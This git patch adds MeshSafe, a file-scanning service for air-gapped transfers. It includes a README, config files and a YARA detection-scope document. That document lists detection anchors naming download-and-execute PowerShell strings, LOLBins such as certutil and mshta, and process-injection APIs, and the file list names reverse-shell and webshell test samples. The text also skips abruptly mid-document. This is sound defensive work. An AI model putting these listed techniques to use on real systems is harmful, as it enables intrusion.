From 16f134e3284ec85e2b592cb2f8e918cf3fc0d65d Mon Sep 17 00:00:00 2001 From: zhaolei <12153398@qq.com> Date: Wed, 28 Oct 2026 19:07:11 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20MeshSafe=20=E6=96=87=E4=BB=B6=E6=91=86?= =?UTF-8?q?=E6=B8=A1=E5=AE=89=E5=85=A8=E5=8D=AB=E5=A3=AB=20v1.0=20?= =?UTF-8?q?=E5=88=9D=E5=A7=8B=E6=8F=90=E4=BA=A4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 核心功能: - 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制 - FastAPI + PostgreSQL + Redis + Docker Compose 架构 - 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性 - 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页) - 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min) 并发与稳定性修复: - 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行) - JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写 - 移除 SQLite fallback, 统一 PostgreSQL - API_CLIENTS 脱敏为环境变量, .env 已 .gitignore --- .dockerignore | 21 + .env.example | 50 + .gitignore | 56 + Dockerfile | 53 + README.md | 198 +++ YARA检测范围_L2B.md | 102 ++ app/__init__.py | 3 + app/config.py | 150 +++ app/console.py | 1782 ++++++++++++++++++++++++++ app/db.py | 41 + app/diagnostic/__init__.py | 11 + app/diagnostic/config.py | 171 +++ app/diagnostic/docker_probe.py | 126 ++ app/diagnostic/dumper.py | 477 +++++++ app/diagnostic/engine.py | 228 ++++ app/diagnostic/rules.py | 878 +++++++++++++ app/diagnostic/scheduler.py | 268 ++++ app/diagnostic/storage.py | 455 +++++++ app/engines/__init__.py | 1 + app/engines/base.py | 123 ++ app/engines/binary.py | 302 +++++ app/engines/clamav.py | 284 ++++ app/engines/documents.py | 1001 +++++++++++++++ app/engines/extractor.py | 383 ++++++ app/engines/keywords.py | 157 +++ app/engines/structure.py | 1371 ++++++++++++++++++++ app/i18n_labels.py | 281 ++++ app/logging_config.py | 87 ++ app/main.py | 568 ++++++++ app/models.py | 176 +++ app/security/__init__.py | 1 + app/security/crypto.py | 106 ++ app/security/deps.py | 261 ++++ app/security/ratelimit.py | 113 ++ app/security/signing.py | 179 +++ app/services/__init__.py | 1 + app/services/audit.py | 155 +++ app/services/policy.py | 754 +++++++++++ app/services/scanner.py | 540 ++++++++ app/templates/_nav.html | 16 + app/templates/_nav_style.html | 32 + app/templates/about.html | 401 ++++++ app/templates/dashboard.html | 503 ++++++++ app/templates/diagnostics.html | 415 ++++++ app/templates/login.html | 278 ++++ app/templates/policy.html | 223 ++++ app/templates/tasks.html | 232 ++++ app/templates/test_center.html | 323 +++++ config/diagnostics.yaml | 58 + config/policy.yaml | 302 +++++ deploy/OPERATIONS.md | 308 +++++ deploy/nginx/default.conf | 62 + docker-compose.yml | 157 +++ docs/00-总体方案.md | 1679 ++++++++++++++++++++++++ docs/01-诊断套件方案.md | 494 +++++++ docs/接口文档.md | 1322 +++++++++++++++++++ docs/策略配置说明.md | 459 +++++++ logo.png | Bin 0 -> 314800 bytes requirements.txt | 39 + rules/linux.yar | 307 +++++ rules/pe.yar | 403 ++++++ rules/ransom.yar | 210 +++ rules/webshell.yar | 345 +++++ scripts/deploy_prod.sh | 144 +++ scripts/generate_test_samples.py | 1213 ++++++++++++++++++ scripts/init_clamav.sh | 37 + scripts/init_db.py | 107 ++ scripts/migrate.sql | 3 + scripts/run_test_center.py | 148 +++ scripts/sync_clamav_db.sh | 122 ++ static/logo.png | Bin 0 -> 314800 bytes tests/_debug_scan.py | 32 + tests/_e2e_final.py | 113 ++ tests/_yara_check.py | 42 + tests/benchmark.py | 661 ++++++++++ tests/samples/_scan_results.json | 650 ++++++++++ tests/samples/broken.zip | Bin 0 -> 125 bytes tests/samples/evil.iso | Bin 0 -> 32775 bytes tests/samples/evil_help.chm | Bin 0 -> 1691 bytes tests/samples/index.json | 347 +++++ tests/samples/linux_malicious | Bin 0 -> 71 bytes tests/samples/lolbin.cmd | 2 + tests/samples/macro_alert.docm | Bin 0 -> 2586 bytes tests/samples/malicious.desktop | 5 + tests/samples/malicious.pdf | 31 + tests/samples/miner_config.json | 6 + tests/samples/normal.pdf | 28 + tests/samples/normal_deploy.sh | 7 + tests/samples/normal_readme.txt | 3 + tests/samples/normal_report.docx | Bin 0 -> 1212 bytes tests/samples/ole_dropper.doc | Bin 0 -> 1641 bytes tests/samples/pe_downloader.exe | Bin 0 -> 1148 bytes tests/samples/pe_injection.exe | Bin 0 -> 1129 bytes tests/samples/persist_cron.sh | 2 + tests/samples/phishing.eml | 47 + tests/samples/photo.jpg.php | 1 + tests/samples/ransom_dropper.exe.txt | 5 + tests/samples/sealed.docx | Bin 0 -> 6656 bytes tests/samples/sealed.xlsx | Bin 0 -> 6656 bytes tests/samples/shell_aspx.aspx | 6 + tests/samples/shell_bash_devtcp.sh | 2 + tests/samples/shell_jsp_runtime.jsp | 9 + tests/samples/shell_nc.sh | 2 + tests/samples/shell_php_eval.php | 1 + tests/samples/shell_php_obf.php | 1 + tests/samples/shell_python.py | 7 + tests/samples/shortcut.lnk | Bin 0 -> 143 bytes tests/samples/template_backdoor.docx | Bin 0 -> 2176 bytes tests/samples/vba_autoexec.bas | 3 + tests/samples/wps_macro.js | 4 + tests/samples/zip_traversal.zip | Bin 0 -> 164 bytes tests/smoke.py | 331 +++++ 脚本.txt | 0 113 files changed, 24604 insertions(+) create mode 100644 .dockerignore create mode 100644 .env.example create mode 100644 .gitignore create mode 100644 Dockerfile create mode 100644 README.md create mode 100644 YARA检测范围_L2B.md create mode 100644 app/__init__.py create mode 100644 app/config.py create mode 100644 app/console.py create mode 100644 app/db.py create mode 100644 app/diagnostic/__init__.py create mode 100644 app/diagnostic/config.py create mode 100644 app/diagnostic/docker_probe.py create mode 100644 app/diagnostic/dumper.py create mode 100644 app/diagnostic/engine.py create mode 100644 app/diagnostic/rules.py create mode 100644 app/diagnostic/scheduler.py create mode 100644 app/diagnostic/storage.py create mode 100644 app/engines/__init__.py create mode 100644 app/engines/base.py create mode 100644 app/engines/binary.py create mode 100644 app/engines/clamav.py create mode 100644 app/engines/documents.py create mode 100644 app/engines/extractor.py create mode 100644 app/engines/keywords.py create mode 100644 app/engines/structure.py create mode 100644 app/i18n_labels.py create mode 100644 app/logging_config.py create mode 100644 app/main.py create mode 100644 app/models.py create mode 100644 app/security/__init__.py create mode 100644 app/security/crypto.py create mode 100644 app/security/deps.py create mode 100644 app/security/ratelimit.py create mode 100644 app/security/signing.py create mode 100644 app/services/__init__.py create mode 100644 app/services/audit.py create mode 100644 app/services/policy.py create mode 100644 app/services/scanner.py create mode 100644 app/templates/_nav.html create mode 100644 app/templates/_nav_style.html create mode 100644 app/templates/about.html create mode 100644 app/templates/dashboard.html create mode 100644 app/templates/diagnostics.html create mode 100644 app/templates/login.html create mode 100644 app/templates/policy.html create mode 100644 app/templates/tasks.html create mode 100644 app/templates/test_center.html create mode 100644 config/diagnostics.yaml create mode 100644 config/policy.yaml create mode 100644 deploy/OPERATIONS.md create mode 100644 deploy/nginx/default.conf create mode 100644 docker-compose.yml create mode 100644 docs/00-总体方案.md create mode 100644 docs/01-诊断套件方案.md create mode 100644 docs/接口文档.md create mode 100644 docs/策略配置说明.md create mode 100644 logo.png create mode 100644 requirements.txt create mode 100644 rules/linux.yar create mode 100644 rules/pe.yar create mode 100644 rules/ransom.yar create mode 100644 rules/webshell.yar create mode 100644 scripts/deploy_prod.sh create mode 100644 scripts/generate_test_samples.py create mode 100644 scripts/init_clamav.sh create mode 100644 scripts/init_db.py create mode 100644 scripts/migrate.sql create mode 100644 scripts/run_test_center.py create mode 100644 scripts/sync_clamav_db.sh create mode 100644 static/logo.png create mode 100644 tests/_debug_scan.py create mode 100644 tests/_e2e_final.py create mode 100644 tests/_yara_check.py create mode 100644 tests/benchmark.py create mode 100644 tests/samples/_scan_results.json create mode 100644 tests/samples/broken.zip create mode 100644 tests/samples/evil.iso create mode 100644 tests/samples/evil_help.chm create mode 100644 tests/samples/index.json create mode 100644 tests/samples/linux_malicious create mode 100644 tests/samples/lolbin.cmd create mode 100644 tests/samples/macro_alert.docm create mode 100644 tests/samples/malicious.desktop create mode 100644 tests/samples/malicious.pdf create mode 100644 tests/samples/miner_config.json create mode 100644 tests/samples/normal.pdf create mode 100644 tests/samples/normal_deploy.sh create mode 100644 tests/samples/normal_readme.txt create mode 100644 tests/samples/normal_report.docx create mode 100644 tests/samples/ole_dropper.doc create mode 100644 tests/samples/pe_downloader.exe create mode 100644 tests/samples/pe_injection.exe create mode 100644 tests/samples/persist_cron.sh create mode 100644 tests/samples/phishing.eml create mode 100644 tests/samples/photo.jpg.php create mode 100644 tests/samples/ransom_dropper.exe.txt create mode 100644 tests/samples/sealed.docx create mode 100644 tests/samples/sealed.xlsx create mode 100644 tests/samples/shell_aspx.aspx create mode 100644 tests/samples/shell_bash_devtcp.sh create mode 100644 tests/samples/shell_jsp_runtime.jsp create mode 100644 tests/samples/shell_nc.sh create mode 100644 tests/samples/shell_php_eval.php create mode 100644 tests/samples/shell_php_obf.php create mode 100644 tests/samples/shell_python.py create mode 100644 tests/samples/shortcut.lnk create mode 100644 tests/samples/template_backdoor.docx create mode 100644 tests/samples/vba_autoexec.bas create mode 100644 tests/samples/wps_macro.js create mode 100644 tests/samples/zip_traversal.zip create mode 100644 tests/smoke.py create mode 100644 脚本.txt diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..1c86a15 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,21 @@ +__pycache__/ +*.pyc +*.pyo +.env +.git/ +.gitignore +.idea/ +.vscode/ +*.md +logs/ +*.log +/tmp/ +*.tmp + +# 测试脚本和冒烟代码（不打镜像） +tests/*.py +tests/*_test*.py +tests/run_*.py +tests/smoke.py +scripts/verify_*.py +scripts/debug_*.py diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..9929dca --- /dev/null +++ b/.env.example @@ -0,0 +1,50 @@ +# ============================================================================= +# MeshSafe 生产部署环境变量（示例模板） +# 复制为 .env 后填入真实值（master_key + db_password + admin_password 必须改） +# ============================================================================= +# +# docker-compose.yml 会自动加载同级 .env 文件。 +# Settings 类（app/config.py）通过 pydantic_settings 读取，前缀 MESHSAFE_。 +# +# 字段分三类： +# ── 必填（缺失启动报错）──────────── +# MESHSAFE_MASTER_KEY 主密钥（base64 ≥ 32 字节）—— 密码哈希/HMAC 签名/HKDF 派生都用它 +# MESHSAFE_DB_PASSWORD PostgreSQL 密码 —— 与 compose postgres.POSTGRES_PASSWORD 保持一致 +# MESHSAFE_ADMIN_PASSWORD 默认管理员初始密码 —— scripts/init_db.py 首次建 admin 时使用 +# +# ── docker-compose.yml 内置（API 服务会注入）── +# MESHSAFE_DB_URL =postgresql+psycopg://meshsafe:@postgres:5432/meshsafe +# MESHSAFE_CLAMAV_HOST =clamav +# MESHSAFE_CLAMAV_PORT =3310 +# MESHSAFE_REDIS_URL =redis://redis:6379/0 +# +# ── 可选（有合理默认值）────────── +# MESHSAFE_ENV prod | dev +# MESHSAFE_HOST 0.0.0.0 +# MESHSAFE_PORT 8443 +# MESHSAFE_LOG_LEVEL DEBUG | INFO | WARNING | ERROR +# MESHSAFE_LOG_DIR /var/log/meshsafe +# MESHSAFE_WORKERS 2（异步扫描后台 worker 数） +# MESHSAFE_RULES_DIR /app/rules（YARA 规则目录） +# MESHSAFE_POLICY_FILE /app/config/policy.yaml +# +# ---------- master_key 生成 ---------- +# python -c "import base64, os; print(base64.b64encode(os.urandom(32)).decode())" +# ============================================================================= + +# ---------- 必填 ---------- + +MESHSAFE_MASTER_KEY=CHANGE_ME_GENERATE_WITH_COMMAND_ABOVE +MESHSAFE_DB_PASSWORD=CHANGE_ME_DB_PASSWORD +MESHSAFE_ADMIN_PASSWORD=CHANGE_ME_ADMIN_PASSWORD + +# ---------- 可选 ---------- + +MESHSAFE_ENV=prod +MESHSAFE_LOG_LEVEL=INFO +MESHSAFE_LOG_DIR=/var/log/meshsafe +MESHSAFE_WORKERS=2 +MESHSAFE_RULES_DIR=/app/rules +MESHSAFE_POLICY_FILE=/app/config/policy.yaml +MESHSAFE_HOST=0.0.0.0 +MESHSAFE_PORT=8443 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..67af401 --- /dev/null +++ b/.gitignore @@ -0,0 +1,56 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +*.egg-info/ +*.egg +dist/ +build/ +.eggs/ +*.whl + +# 环境与密钥 +.env +.env.local +.env.*.local + +# 日志 +/var/log/meshsafe/ +*.log + +# 临时文件 +/tmp/meshsafe/ +*.tmp +*.temp + +# IDE +.idea/ +.vscode/ +*.swp +*.swo +.project + +# 系统 +.DS_Store +Thumbs.db + +# 数据库 +*.db + +# 运行数据（Postgres/Redis 数据、ClamAV 签名库、日志、诊断历史） +/data/ + +# 压测产物 +benchmark_report*.json +out.json + +# 截图 +/.screenshots/ + +# 测试 +.coverage +htmlcov/ +.pytest_cache/ +.mypy_cache/ +.ruff_cache/ diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..b1df3d5 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,53 @@ +# ---- 构建阶段 ---- +FROM python:3.12-slim AS builder + +WORKDIR /app + +# 系统依赖：python-magic、ClamAV 客户端、编译工具 +RUN apt-get update && apt-get install -y --no-install-recommends \ + libmagic1 libmagic-dev \ + clamav clamav-daemon \ + && rm -rf /var/lib/apt/lists/* + +COPY requirements.txt . +RUN pip install --no-cache-dir -r requirements.txt + +# ---- 运行阶段 ---- +FROM python:3.12-slim + +WORKDIR /app + +# 系统运行时依赖 +RUN apt-get update && apt-get install -y --no-install-recommends \ + libmagic1 clamav clamav-daemon ca-certificates \ + && rm -rf /var/lib/apt/lists/* \ + && groupadd -r meshsafe && useradd -r -g meshsafe -d /app meshsafe + +COPY --from=builder /usr/local/lib/python3.12/site-packages /usr/local/lib/python3.12/site-packages +COPY --from=builder /usr/local/bin /usr/local/bin + +# 应用代码 +COPY app/ ./app/ +COPY config/policy.yaml ./config/policy.yaml +COPY config/diagnostics.yaml ./config/diagnostics.yaml +COPY scripts/ ./scripts/ +COPY static/ ./static/ +COPY tests/ ./tests/ + +# 日志目录、临时目录 +RUN mkdir -p /var/log/meshsafe /tmp/meshsafe /app/rules \ + && chown -R meshsafe:meshsafe /app /var/log/meshsafe /tmp/meshsafe + +ENV PYTHONUNBUFFERED=1 \ + PYTHONDONTWRITEBYTECODE=1 \ + MESHSAFE_LOG_DIR=/var/log/meshsafe \ + MESHSAFE_TEMP_ROOT=/tmp/meshsafe + +USER meshsafe + +EXPOSE 8443 + +HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ + CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8443/api/v1/health', timeout=3).read()" || exit 1 + +CMD ["sh", "-c", "uvicorn app.main:app --host 0.0.0.0 --port 8443 --workers ${UVICORN_WORKERS:-1}"] diff --git a/README.md b/README.md new file mode 100644 index 0000000..adc7b9c --- /dev/null +++ b/README.md @@ -0,0 +1,198 @@ +# MeshSafe · 文件安全检测服务 + +> **光闸摆渡场景下的独立文件安全守门员。** 外网文件进来之前，先过 MeshSafe。 + +--- + +## 一句话介绍 + +MeshSafe 是一套独立部署的文件安全检测服务，专为光闸内外网摆渡场景设计。它不修改、不清洗文件，只做一件事：**判断"这个文件能不能传进内网"**，把检测结论交还给摆渡系统决定。 + +一期只做 **外网 → 内网** 方向——保护内网不被外网文件伤到。 + +--- + +## 它能做什么 + +### 三层风险把关 + +| 维度 | 回答的问题 | 举个例子 | +|---|---|---| +| **恶意性检测** | 这个文件本身是不是病毒、木马、勒索？ | 已知病毒签名、家族特征 | +| **可执行性拦截** | 这个文件打开会不会自动跑代码？ | 带宏的 Word、带脚本的 PDF、快捷方式 | +| **合规性校验** | 这个文件在传输层面有没有问题？ | 路径穿越、压缩炸弹、伪装扩展名 | + +### 两种判定结果 + +- **机器执行**：告诉摆渡系统"放行 / 拒绝 / 转人工复核" +- **人工提示**：告诉最终打开文件的内网用户"打开时要注意什么"（比如"此文件包含宏，请勿启用"） + +两条结论独立返回——系统的事归系统，人的事归人。 + +--- + +## 它能拦住什么 + +以下是 MeshSafe 一期覆盖的全部核心风险场景： + +### 文档类最常见风险 + +| 文件类型 | 风险场景 | MeshSafe 的处置 | +|---|---|---| +| Word / Excel / PPT (.docm / .xlsm / .pptm) | 打开即执行的宏，自动下载病毒、调用系统命令、关闭安全软件 | **零容忍直接拦截**，不走过场 | +| Word / Excel / PPT | 宏代码被故意混淆或加密，意图不可知 | **零容忍直接拦截** | +| Word / Excel (RTF) | DDE / DDEAUTO 字段——打开即启动程序 | **零容忍直接拦截** | +| PDF | 打开即执行的 JavaScript 脚本 | **零容忍直接拦截** | +| PDF | LaunchAction——打开即启动外部程序 | **零容忍直接拦截** | +| 所有 Office 文档 | 包含外部模板注入——借模板执行恶意代码 | **零容忍直接拦截** | +| 所有 Office 文档 | 嵌入了可执行文件的 OLE 对象 | **零容忍直接拦截** | + +### 快捷方式与容器类风险 + +| 文件类型 | 风险场景 | MeshSafe 的处置 | +|---|---|---| +| 快捷方式 (.lnk) | 指向程序执行 / 远程路径 / 脚本 | **零容忍直接拦截** | +| 帮助文件 (.chm) | 包含可执行脚本 | **零容忍直接拦截** | +| 光盘镜像 (.iso) | 内部包含可执行文件——双击挂载后直接运行 | **零容忍直接拦截**，挂载后递归扫描内部 | +| 压缩包 (.zip / .rar / .7z 等) | 解压路径穿越——试图写出解压目录，覆盖系统文件 | **零容忍直接拦截** | +| 压缩包 | 压缩炸弹——几 KB 解压出几百 MB 甚至上 GB，耗尽服务器资源 | 拦截并报警 | +| 压缩包 | 解压深度超过 5 层，内部包含可执行文件 | 自动进入下一轮检测 | + +### 伪装与迷惑类风险 + +| 风险场景 | MeshSafe 的处置 | +|---|---| +| 双扩展名伪装：`invoice.pdf.exe` 实际是程序 | 识破真实类型，拦截 | +| 图标伪装：可执行文件用 PDF 图标诱导用户双击 | 识破真实类型，拦截 | +| 声明扩展名与真实类型不一致 | 拦截并标记 | +| 文件名用 Unicode 欺骗（西里尔字母替换拉丁字母） | 识破并标记 | + +### 链接与二维码分级处置 + +| 情形 | MeshSafe 的处置 | +|---|---| +| 文档/图片中的链接命中恶意地址库 | **零容忍直接拦截** | +| 链接指向非常规端口 / IP 直连 / 短链服务 | 标记为可疑，转人工复核 | +| 二维码解码后内容为上述情形 | 同上 | +| 普通 http / https 链接 | 放行但提示"请确认来源" | + +### 加密文件处理 + +| 情形 | MeshSafe 的处置 | +|---|---| +| 加密的 Office 文档 | 默认拒绝——无法确认内部安全 | +| 加密的压缩包 | 默认拒绝——无法确认内部安全 | + +### Linux 桌面环境特有威胁（一期重点覆盖） + +内网终端是麒麟桌面/UOS（纯 Linux），因此 Linux 特有威胁载体必须覆盖： + +| 威胁场景 | 风险说明 | MeshSafe 的处置 | +|---|---|---| +| Linux 原生可执行文件（ELF） | 传统杀毒不认识，可直接在终端运行 | **零容忍直接拦截** | +| Linux 快捷方式（.desktop 文件） | 看起来是桌面图标，实际 `Exec=` 字段可指向任意命令 | **零容忍直接拦截**，校验 Exec 字段是否含 shell 调用、下载器 | +| Shell / Python / Perl / Ruby 脚本 | 双击可执行，含恶意系统调用（下载、反弹 Shell） | **零容忍直接拦截**，识别危险函数 | +| AppImage / Flatpak / Snap 便携包 | 跨发行版可执行格式，双击即运行 | **零容忍直接拦截**，内部递归扫描 | +| 压缩包内混有 shell 脚本 / .run / .bin | 解压后用户容易误执行 | 自动进入下一轮检测 | + +> **纵深防御**：虽然内网是 Linux，Windows 专属载体（快捷方式 .lnk、帮助文件 .chm）仍保持检测——文件可能通过其他路径流向运维人员的 Windows 工作站。 + +--- + +## 方案亮点（为什么 MeshSafe 和传统杀毒不一样） + +### 亮点一：「打开即执行」载体零容忍——独立于评分体系 + +传统杀毒的逻辑是：**是不是已知恶意样本？** 匹配不到签名就放行。 + +但在光闸场景里，真正的高频风险不是"已知病毒"，而是**"打开就自动运行"的载体**——宏文档、DDE 字段、LNK 快捷方式。这类东西杀毒扫出来说"干净"，但用户双击后宏即刻执行。 + +MeshSafe 的逻辑反过来：**只要存在打开即执行的载体，就零容忍拦截**。这是一条独立于评分体系的硬性清单——不累计权重、不走过场，命中即拒。 + +### 亮点二：宏行为分级——不是"有没有宏"，而是"宏做了什么" + +内网人员需要打开带宏的公文模板（自动编号、签章定位等），不能简单地把"含宏"等同于"拒绝"。 + +MeshSafe 会**分析宏的实际行为**： + +| 宏的行为 | MeshSafe 判定 | +|---|---| +| 自动执行 + 调用系统命令 / 外联网络 | **零容忍拒绝** | +| 宏代码被混淆 / 加密（意图不可知） | **零容忍拒绝** | +| 自动执行 + 仅本地无害操作（编号、排版） | **放行或标记** | +| 无自动执行，仅手动触发 | 标记放行 / 转复核 | + +### 亮点三：合法公文模板例外——五道保险受控放行 + +对于业务上确实需要打开的合法宏模板，MeshSafe 提供**受控的例外机制**，但有五道保险： + +| 保险 | 怎么防绕过 | +|---|---| +| **指纹绑定** | 例外按文件内容精确匹配，换一个字节就失效 | +| **文件名匹配** | 指纹 + 文件名双重校验，防止不同文件复用 | +| **必须到期** | 所有例外必须有到期时间，最长不超过一年 | +| **审批留痕** | 谁批的、为什么批、批了什么，全部留痕可追溯 | +| **行为前提** | 就算在例外清单里，如果宏检测到危险行为（调用 Shell、下载文件），照样触发零容忍 | + +### 亮点四：打开风险独立提示 + +检测结论分两层： +- **系统判定层**：摆渡系统看这个——放行 / 拒绝 / 转复核 +- **人工提示层**：内网用户看这个——"此文件包含宏，请勿启用"、"请勿直接双击此 ISO 文件" + +两层独立演进。即使摆渡系统选择忽略人工提示字段，内网侧安全审计面板也能单独展示。 + +### 亮点五：防篡改审计 + +所有检测记录、策略变更、例外增删都进入**链式审计日志**——每条记录的哈希值包含前一条记录的哈希。任何一条被篡改，后续链全部断裂可检出。 + +--- + +## 完整的检测能力清单（一期） + +| 能力 | 覆盖范围 | +|---|---| +| 真实文件类型识别（不信任扩展名） | 全部文件 | +| 递归安全解包（最多 5 层） | 常见压缩格式 | +| 已知恶意样本特征匹配 | 全部文件 | +| 宏代码提取与行为分析 | Word / Excel / PPT 全系列 | +| DDE / DDEAUTO 自动执行检测 | 复合文档 | +| PDF 脚本与动作检测 | PDF | +| 文档内嵌文件检测 | 复合文档 | +| 文档深度解析 | 外部链接、模板注入、隐藏变量 | +| 快捷方式深度解析 | 目标路径、参数、远程链接 | +| 帮助文件类型校验 | 结构完整性检测 | +| 光盘镜像挂载后递归扫描 | 内部可执行文件检测 | +| 未知恶意样本家族匹配 | 可执行程序 / 脚本 / 内存马 | +| 可执行程序结构分析 | 异常特征、签名目录、导入表 | +| 外部链接与二维码提取 | 文档和图片 | +| 恶意链接库查询 | 分级处置 | +| 零容忍规则集（15 条） | 打开即执行载体全覆盖 | +| 宏行为例外机制 | 合法公文模板受控放行 | +| 引擎故障安全降级 | 任何检测引擎不可用时整体拒绝（安全优先） | +| 同步 + 异步双模式 | 小文件同步返回，大文件异步轮询 | +| 策略热重载 | 改配置不用重启 | +| 控制台权限分级 | 管理员 / 运维 / 只读三档 | +| 防篡改审计日志 | 链式哈希校验，任何一条被改后续全部断裂可检出 | +| 签名库版本追踪 | 检测有效性可举证 | + +--- + +## 未来可支持的扩展方向 + +以下方向**架构已预留，但一期不实现**： + +| 方向 | 价值 | 启动前提 | +|---|---|---| +| **内网 → 外网内容审计** | 判断内部内容是否允许外传（涉密 / 隐私 / 违规） | 需先明确业务密级规则和具体场景，与一期的"技术判据"属不同问题域 | +| **动态沙箱深检** | 在隔离环境中实际运行可疑文件，观察行为（释放文件、外联 C2 等） | 需要 Windows 虚拟化环境 + 国产化终端适配验证；场景收益有限（一期以文档为主） | +| **大模型语义分析** | 辅助识别诱导话术、仿冒公文模板、上下文关联钓鱼 | 需要内网推理算力；大模型输出仅作为辅助信号，不单独裁决 | +| **更多零容忍规则** | 随新威胁形态出现，可向规则清单中增量添加 | 规则必须满足"命中即有害 + 可稳定判定"的准入条件 | +| **内网特征词表引擎** | 识别内网特有的模板、关键词、命名规律，辅助例外判断和伪装识别 | 一期已有初步框架，可独立推进 | + +> 所有扩展方向的接口和数据结构在一期架构中**已预留扩展位**，未来接入无需重构。 + +--- + +*文档版本：v1.0（方案稿）* +*更多技术细节请参阅 [总体方案](docs/00-总体方案.md) 和 [接口文档](docs/接口文档.md)* diff --git a/YARA检测范围_L2B.md b/YARA检测范围_L2B.md new file mode 100644 index 0000000..c89c6d0 --- /dev/null +++ b/YARA检测范围_L2B.md @@ -0,0 +1,102 @@ +# YARA 检测范围说明（L2B 层） + +> 本文档只界定 L2B 层 YARA 引擎的检测范围：要覆盖哪些威胁、靠什么特征锚定、哪里容易误报。不含其它防御层与实现代码，可直接作为规则设计依据与验收清单。 + +--- + +## 一、YARA 定位与边界 + +YARA 是基于字节 / 字符串 / 结构特征的模式匹配，强项是已知家族的变体、可疑特征组合、静态可提取的载荷。 + +- **擅长**：已知家族变体、可疑 API / 字符串组合、文档与脚本类静态载荷。 +- **不擅长**：纯多态加壳、纯运行时行为、加密封装（这些交给 L1 杀毒库与 L3 沙箱）。 +- **设计目标**：补齐 ClamAV 特征库更新慢的盲区，并覆盖文档 / 脚本这类杀毒库不敏感的载体。 + +核心原则：单一 API 或字符串命中不阻断，要求"特征组合"才判高危，否则误报率失控。 + +--- + +## 二、检测范围总览（9 大类） + +| 编号 | 覆盖大类 | 检查对象 | YARA 主力程度 | +|---|---|---|---| +| C1 | Windows PE 恶意程序 | .exe / .dll / .sys、DLL 劫持 | 是 | +| C2 | 脚本木马 | .ps1 / .vbs / .js / .bat / .hta / .lnk | 是 | +| C3 | Webshell / 内存马 | .jsp/.jspx/.php/.asp/.aspx、反序列化 payload | 是 | +| C4 | Office 文档载荷 | .doc/.xls/.ppt（宏 / DDE） | 是 | +| C5 | PDF 载荷 | .pdf | 是 | +| C6 | 压缩包 / 嵌套展开 | .zip/.rar/.7z/.cab/.iso | 辅助 | +| C7 | Linux / 跨平台后门 | ELF / Shell / Python / 计划任务 | 是 | +| C8 | 勒索 / 挖矿专项 | 通用载体 | 是 | +| C9 | 壳 / 签名 / 结构异常 | PE 结构元数据 | 是 | + +--- + +## 三、逐类详细范围 + +### C1 Windows PE 恶意程序 +- **防**：下载器、远控（RAT）、注入器、Loader、服务后门。 +- **锚点方向**：危险导入 API 组合（`URLDownloadToFile` / `InternetOpen` / `WinHttp*` + `CreateRemoteThread` / `WriteProcessMemory` / `VirtualAllocEx` + `RegSetValueEx` / `schtasks` / 服务 API）；可疑字符串（C2 URL/IP、互斥体 Mutex 名、隐藏进程标志 `CREATE_NO_WINDOW`）。 +- **关键原则**：必须"网络 + 注入 / 持久化"特征组合命中才报高危。 +- **范围须含**：DLL 侧加载、白利用二进制（LOLBins）调用特征。 + +### C2 脚本木马 +- **防**：无文件落地、PowerShell 下载执行、混淆脚本。 +- **锚点方向**：`-enc` / `-e`（Base64 编码命令）、`FromBase64String`、`IEX` / `Invoke-Expression`、`DownloadString`、`New-Object Net.WebClient`、`-w hidden` / `-nop`；`mshta` / `rundll32` / `regsvr32` / `certutil -decode` 等 LOLBin 组合；VBS 的 `CreateObject("Wscript.Shell")` + `Run`；HTA 里的 ` + + diff --git a/app/templates/diagnostics.html b/app/templates/diagnostics.html new file mode 100644 index 0000000..fab0cb0 --- /dev/null +++ b/app/templates/diagnostics.html @@ -0,0 +1,415 @@ + + + + + +MeshSafe · 诊断面板 + + + +{% include "_nav.html" %} + +
+ + +
+

🔧 系统诊断

+
+ 🕐 刷新时间: {{ refresh_time }} +  ·  {{ docker_status_msg }} + {% if started_at %} ·  诊断启用: {{ started_at[:19].replace('T', ' ') }}{% endif %} +
+
+ + + {% if not diag_enabled %} +
+

⛔ 诊断套件未启用

+

diagnostics.yaml: diagnostics.enabled = false
+ 启用后将开启后台定时检测（三个定时器，CPU 占用可忽略）。
+ 当前仅保留手动导出功能，自动规则引擎已停止。

+

📦 手动导出诊断包

+
+ {% else %} + + +
+
+
规则总数
+
{{ rule_count }}
+
+
+
严重
+
{{ crit_count }}
+
+
+
警告
+
{{ warn_count }}
+
+
+
通过
+
{{ ok_count }}
+
+
+ + +
+

⚠️ 规则检测

+ {% if all_rules %} + {% for r in all_rules %} +
+ {{ r.id }} +
+
+ {{ { + 'high': '严重', 'medium': '警告', 'low': '提示', + 'info': '信息', 'ok': '通过' + }.get(r.severity, '未知') }} +  {{ r.message }} +
+ {% if r.hint %}
💡 {{ r.hint }}
{% endif %} + {% if r.evidence %} +
{% for e in r.evidence %}{{ e }}{% if not loop.last %}\n{% endif %}{% endfor %}
+ {% endif %} + {% if r.skipped and r.skip_reason %} +
⏭️ 跳过原因: {{ r.skip_reason }}
+ {% endif %} +
+ + {% if r.run_at %}{{ r.run_at }}{% endif %} + {% if r.run_by %}
{{ r.run_by }}{% endif %} + +
+ {% endfor %} + {% else %} +
暂无规则结果（定时器还没跑起来？）
+ {% endif %} +
+ + +
+

🧪 引擎状态 + +

+
+ {% if engine_health %} + + + + {% for name, info in engine_health.items() %} + + + + + + {% endfor %} + +
引擎状态版本 / 详情
